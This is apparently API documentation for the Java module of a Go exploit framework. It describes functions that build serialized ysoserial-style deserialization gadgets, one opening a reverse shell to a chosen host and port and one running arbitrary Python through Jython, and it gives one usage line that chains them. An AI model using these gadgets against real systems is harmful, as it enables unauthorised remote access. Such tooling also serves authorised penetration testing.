java

Documentation

Index

• func CreateBeanutilsReverseShell(lhost string, lport int) string
• func CreateJythonRunCodeGadget(payload string) string
• func FixReverseShell(conf *config.Config) (string, string)

Functions

func CreateBeanutilsReverseShell

func CreateBeanutilsReverseShell(lhost string, lport int) string

This is a serialized java reverse shell. The gadget was generated by ysoserial but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 and updated to make it easy to swap in the desired lhost+lport of our choosing without having to recreate the gadget.

The gadget works on both Windows and Linux and will automatically detect the platform and tool to use for executing commands (cmd.exe or /bin/bash).

func CreateJythonRunCodeGadget

func CreateJythonRunCodeGadget(payload string) string

This function generates a serialized Jython payload that executes arbitrary Python. It's the "runcode" variation of Steven Seeley and Rocco Calvi's Jython2:

https://github.com/frohoff/ysoserial/pull/200/files

The payload can be used like so:

java.CreateJythonRunCodeGadget(payload.UnflattenedSecureReversePython27(conf.Lhost, conf.Lport))

The payload was serialized and tested on Java 11.

func FixReverseShell

func FixReverseShell(conf *config.Config) (string, string)

Shell.java has been compiled using Java8 and is embedded in this package for ease of use. This function will fix up the default IP and port.